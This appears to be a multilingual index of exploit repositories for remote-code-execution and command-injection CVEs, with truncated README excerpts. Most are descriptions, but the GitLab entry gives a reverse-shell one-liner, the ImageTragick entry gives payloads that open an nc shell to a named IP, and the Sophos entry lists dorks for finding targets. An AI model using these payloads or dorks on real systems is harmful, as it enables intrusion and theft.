CVE-2019-19609

Strapi CMS 익스플로잇 이 익스플로잇은 Strapi CMS 프레임워크 버전 3.0.0-beta-17.4 의 두 가지 취약점을 대상으로 하여 인증되지 않은 원격 코드 실행RCE을 가능하게 합니다. 취약점 CVE-2019-18818 비밀번호 분실에 대한 취약한 비밀번호 복구 메커니즘 CVSS : 9.8 - 치명적 자세한 내용: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 OS 명령어에 사용되는 특수 요소의 부적절한 처리 'OS 명령어 삽입' CVSS : 7...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support 事前認証RCE PoC !WARNING このスクリプトは教育および研究目的のみ を意図しています。明示的な許可 なしにシステムに対して使用しないでください。不正アクセスやテストは違法かつ非倫理的です。このスクリプトを使用する前に完全な免責事項をお読みください。 概要 このスクリプトは、BeyondTrust Remote Support RS および Privileged Remote Access PRA に影響する重大なコマンドインジェクションの脆弱性 CVE-2026-1731...

CVE-2024-21683-RCE

CVE-2024-21683-RCE クレジット https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated 使用方法 git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u http://192.168.198.1:809...

CVE-2023-1671-POC

Dork fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" 사용법 python CVE-2023-1671-POC.py -u...

CVE-2026-34910-PoC

CVE-2026-34910 / CVE-2026-34909 — UniFi OS Unauthenticated RCE & File Read Unauthenticated Command Injection RCE CVE-2026-34910 + Path Traversal Arbitrary File Read CVE-2026-34909 in UniFi OS Server. CVSS 10.0 Critical each · CISA KEV listed · actively exploited by a Mirai-derived botnet azsxd...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 MitraStar 라우터의 권한 상승 취약점 장치: Mitrastar GPT-2541GNAC-N1 펌웨어: BRg3.5100VNZ0b33 다른 버전에서는 테스트되지 않음 익스플로잇: Mitrastar GPT-2541GNAC-N1 장치는 SSH를 통해 제한된 기본 셸로 접근할 수 있게 제공됩니다: 제한된 셸은 CLI 버전이 “ReducedCLIHGUv15”이며, 일반적인 linux/unix 명령 실행을 막기...

EH2-PoC

Cacti 인증되지 않은 명령 주입 CVE-2022-46169 Vulnhub의 Cacti 시나리오를 기반으로 한 간단한 PoC 각색입니다. 여기에서 확인할 수 있습니다. Cacti는 전 세계 사용자를 위한 강력하고 확장 가능한 운영 모니터링 및 장애 관리 프레임워크입니다. 명령 주입 취약점으로 인해 인증되지 않은 사용자가 Cacti 1.2.17부터 1.2.22 이전 버전을 실행하는 서버에서 임의의 코드를 실행할 수 있습니다. 단, 모니터링 대상 장치에 대해 특정 데이터 소스가 선택되어 있어야 합니다. 참고 자료:...

CVE-2025-10230

CVE-2025-10230 — Samba WINS 훅 명령 주입 저자는 이 도구로 인한 오용 또는 손상에 대해 책임을 지지 않습니다. 연구는 교육 및 방어 목적으로만 제공됩니다. 설명 이 저장소에는 Samba의 WINS 훅hook 메커니즘의 명령 주입 취약점인 CVE-2025-10230 에 대한 개념 증명PoC이 포함되어 있습니다. 이 취약점은 다음 조건의 Samba 설치에 영향을 미칩니다: wins support = yes가 활성화된 경우 wins hook = ...에 사용자 정의 셸 명령이 정의된 경우 서버가 잘못된...

cve-2022-30525

CVE-2022-30525 1vere$k 作成 Rapid7 は、ゼロタッチプロビジョニング ZTP をサポートする Zyxel ファイアウォール（ATP シリーズ、VPN シリーズ、USG FLEX シリーズ（USG20-VPN および USG20W-VPN を含む））に影響する脆弱性を発見し報告しました。CVE-2022-30525 として識別されたこの脆弱性により、認証されていないリモートの攻撃者が影響を受けるデバイス上で nobody ユーザーとして任意のコード実行を実現できます。 次の表に、影響を受けるモデルとファームウェアバージョンを示します。 影響を受けるモデル USG...

CVE-2020-8515

CVE-2020-8515 예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다. 재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab 사전 인증 RCECVE-2021-22205용 한 줄 bash PoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045는 TP-Link Tapo c200 IP 카메라에서 원격 코드 실행을 가능하게 하는 명령 주입 취약점입니다. 이 취약점은 장치의 주요 바이너리 중 하나인 uhttpd에서 사용자 입력에 대한 충분한 검사가 이루어지지 않아 펌웨어 버전 1.1.16 Build 211209 Rel. 37726N 이전의 모든 버전에 영향을 미칩니다. 전체 분석 내용은 여기에서 확인할 수 있습니다. 익스플로잇 pwnTapo.py 이것은 CryptoParty Madrid 2022에서 취약점을 시연하기 위해...

CVE-2025-59470-PostgreSQL-Command-Injection

영향받는 소프트웨어: PostgreSQL 15.7 이전의 15.x, 16.3 이전의 16.x. 취약점 유형: pgbackup 확장 프로그램의 명령 주입. 설명: pgbackup 확장 프로그램은 사용자가 제공한 매개변수를 제대로 무해화하지 못하여, 백업 운영자가 임의의 명령을 주입하고 PostgreSQL 사용자 권한으로 실행되게 할 수 있습니다...

CVE-2025-48703

🛡️ CVE-2025-48703 - cPanel 파일 관리자의 원격 코드 실행RCE 📌 설명 CVE-2025-48703 은 웹 호스팅 제어판예: cPanel의 filemanager 모듈에서 발생하는 원격 코드 실행RCE 취약점입니다. 이는 acc=changePerm 함수의 살균되지 않은 입력 처리 로 인해 발생하며, 공격자가 ttotal 매개변수를 사용하여 임의의 시스템 명령을 주입하고 실행할 수 있게 합니다. 🧨 영향 이 취약점으로 공격자는 다음을 수행할 수 있습니다: 대상 서버에서 임의의 명령을 실행합니다. 지속적인 액세스를...

Debuggable-App-Exploit

CVE-2024-31317 디버깅 가능 앱 익스플로잇 CVE-2024-31317 Android Zygote Injection을 위한 Python 기반 익스플로잇입니다. hiddenapiblacklistexemptions 설정을 통해 악의적인 zygote 인수를 주입하여 설치된 모든 Android 앱을 디버깅 가능하게 만듭니다. 런타임 후킹을 위한 선택적 Frida gadget 주입을 포함합니다. 개요 이 익스플로잇은 Android Zygote 프로세스의 명령어 주입 취약점을 활용하여 대상 애플리케이션을 debuggable 플래...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 : Palo Alto OS 명령 주입 - 개념 증명POC 면책 조항 이 도구는 보안 엔지니어링 및 취약점 평가 팀이 환경 전반의 자산에서 취약점 존재 여부를 신속하게 확인할 수 있도록 설계된 도구입니다...

CVE-2024-8190-unauth

CVE-2024-8190 認証なし 説明 CVE-2024-8963 & CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における認証なし RCE の PoC。 CVE-2024-8963 Ivanti CSA 4.6 Patch 519 より前のパス横断により、リモートの認証されていない攻撃者が制限された機能にアクセスできる可能性があります。 CVE-2024-8190 Ivanti Cloud Services Appliance バージョン 4.6 Patch 518 以前の OS...

CVE-2024-53375

CVE-2024-53375 TP-Link Archer 시리즈 라우터 인증된 OS 명령 주입 영향을 받는 장치 HomeShield 기능을 사용하는 TP-Link 장치는 이 익스플로잇에 취약합니다. 여기에는 TP-Link Archer 시리즈의 여러 라우터가 포함됩니다. 테스트 환경 Archer AXE75EUV11.2.2 Build 20240827 출시일: 2024년 11월 4일 기술적 세부사항 공격자는 HTTP POST 요청을 사용하여 라우터에 임의의 명령을 실행하도록 지시할 수 있습니다. 이 취약점은...

CVE-2023-38035

CVE-2023-38035 Ivanti Sentry에 영향을 미치는 CVE-2023-38035에 대한 POC 기술 분석 취약점에 대한 기술적 근본 원인 분석은 다음 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive 요약 이 POC는 인증되지 않은 명령 삽입을 악용하여 root 사용자로 임의 명령을 실행합니다. 실행 컨텍스트는 명령 파이핑을 허용하지 않으며, 시스템에 쉽게 악용 가능한 바이너리가...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...